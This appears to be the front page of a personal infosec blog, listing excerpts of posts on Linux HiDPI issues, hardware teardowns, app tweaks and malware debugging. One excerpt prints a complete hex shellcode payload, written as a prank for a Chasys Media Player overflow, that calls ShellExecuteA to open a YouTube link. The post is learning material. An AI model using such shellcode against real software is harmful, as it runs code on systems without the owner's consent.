Infosec Scribbles

October 14, 2017

Linux Woes and 4K Hell

Recently I got a new Dell Precision 5520 and a TB16 dock. It came with Windows 10, and as I was quick to learn, “10” is the number of minutes it took me to decide that I would rather use anything else. This is coming from someone who has been using Windows on all non-server machines since age 7. Given the available options, I went for Ubuntu Linux.

As it turned out, Linux came with its own set of problems, and 4K or HiDPI has below usable support no matter which OS you choose.

I will maintain this post with status updates on the issues listed so that others can reuse my solutions. Another reason is that a bunch of my coworkers have decided to follow suit upon seeing Windows 10 and this is the most efficient way of helping them with the issues they are about to face.

Current setup: Ubuntu GNOME 16.04.3 LTS, 4.11 edge kernel.

As far as I can tell, everything applies exactly the same to the 4.10 kernel (non-edge).

... Read more

May 24, 2014

Logitech Z506 10-pin connector pinout

Had to pop open my Logitech Z506 speaker the other day because reasons. Thought that this may come in handy to someone looking for which wire goes to which pin on the 10-pin connector aka connector pinout. On the picture below I marked every pin with the color of the corresponding wire. It may be hard to see on the preview but the black one is ground. Happy tinkering!

Logitech Z506 10-pin connector pinout

February 13, 2014

Writing a RickRoll shellcode

I was sitting in the lab the other day ~socializing~ with other students and we all agreed it was sad that there was no shellcode out there that would open a RickRoll. Making one seemed like a good way to procrastinate from preparing a talk on privacy while learning how to write shellcodes and the challenge was accepted. The application to have fun with was Chasys Media Player 1.1 on Windows XP SP3, no DEP or ASLR.

TL;DR:

\x89\xE5\x83\xEC\x7F\x83\xEC\x7F\x83\xEC\x06\x31\xC0\x88\x45\x84\x88\x45\x91\x88\x45\xB1\x88\x45\xBD\x88\x45\xCB\x88\x45\xD0\x88\x45\xFB\x89\xEB\x83\xEB\x4E\x53\xFF\x15\x7C\x90\x41\xFF\x89\xEB\x83\xEB\x42\x53\x50\xFF\x15\x24\x91\x41\xFF\x6A\x01\x31\xC9\x51\x51\x89\xEB\x83\xEB\x2F\x53\x89\xEB\x83\xEB\x34\x53\x31\xC9\x51\xFF\xD0\x31\xC9\x51\xFF\x15\xE4\x90\x41\xFF\x53\x68\x65\x6C\x6C\x33\x32\x2E\x64\x6C\x6C\x21\x53\x68\x65\x6C\x6C\x45\x78\x65\x63\x75\x74\x65\x41\x21\x6F\x70\x65\x6E\x21\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x79\x6F\x75\x74\x75\x62\x65\x2E\x63\x6F\x6D\x2F\x77\x61\x74\x63\x68\x3F\x76\x3D\x6F\x48\x67\x35\x53\x4A\x59\x52\x48\x41\x30\x21

... Read more

February 9, 2014

Debugging MBRLockers on Windows

Ever met MBRLockers? Yes, those nasty pieces of malware which replace your Master Boot Record with malicious code and ransom you. Good news here, most of them just backup your original MBR somewhere and put one asking for ransom in its place. Today I’m going to tell you how to debug these things easily for ehmm, scientific purposes.

Simple MBR Locker

... Read more

June 5, 2013

How to take apart TG789vn and extract the parts from it

So I recently got a box full of Thomson TG789vn routers with half of them not working properly. Say “Hello” to lightnings hitting the power lines in Estonia. With nothing to lose it was decided to pop one open to see if there is any obvious damage that can be repaired. Surprisingly, there were no guides on the internet on how to open TG789vn without breaking anything, so here is one.

Stuff You Will Need

  • Thomson TG789vn router
  • Phillips screwdriver
  • Flat-blade screwdriver
  • Two hands and a little bit of common sense

Needless to say, before doing any of this you need to turn off your router and unplug everything from it. This will also void your warranty and I will not be held responsible for any damage you may or may not inflict upon your router.

... Read more

April 26, 2013

B-Sides London 2013

This was my second time at B-Sides London and 3rd time at a huge hacking conference. But considering countless tech meetups, Abertay Ethical Hacking Society meetings and stuff like that one could say I am a frequent goer to such events.

Anyway,

... Read more

April 11, 2013

Fixing broken Sublime Text hot keys

Once you start using Sublime Text, you will begin putting together a collection of plugins to simplify your life. The amount of keys on your keyboard is rather limited and Sublime is a key mapping heavy editor. Lots of comfy hot keys are used even by default. Every once in a while you will get a plugin that wants to use one of the keys that is already in use. At this point you will end up wondering why some of the default key mappings are broken and this article will hopefully help you to fix conflicting hot keys.

... Read more

April 9, 2013

How to disable Metro UI in Skype

What Skype looks like starting version 6.3

Since I had automatic updates in Skype enabled, yesterday it updated to version 6.3. As it is very common these days, the interface was “improved” to match other Microsoft’s products in their UI style, Metro UI of Windows 8. I personally can’t stand it, but in previous versions there was a switch in options to use system theme. I decided it was time to *down*grade. If you are looking for how to get rid of Metro UI in Skype and disable annoying update pop-ups, keep reading.

Please keep scrolling if you enjoy Metro UI.

... Read more

April 7, 2013

Downloads window and other tweaks in Firefox 20

UPDATE: This feature has been completely removed from Firefox with release of version 26. If you would like to use a functional downloads manager, you can try DownThemAll!.

Today was the day when I finally decided to upgrade to the latest versions of everything. Which of course included Firefox. What I instantly noticed after starting up a new version was this tiny new button for opening the downloads window:

Oh, that’s a good idea. Now I don’t have to look for my downloads in the menu.

The excitement vanished instantly when I saw the monstrosity they have turned the downloads window into.

... Read more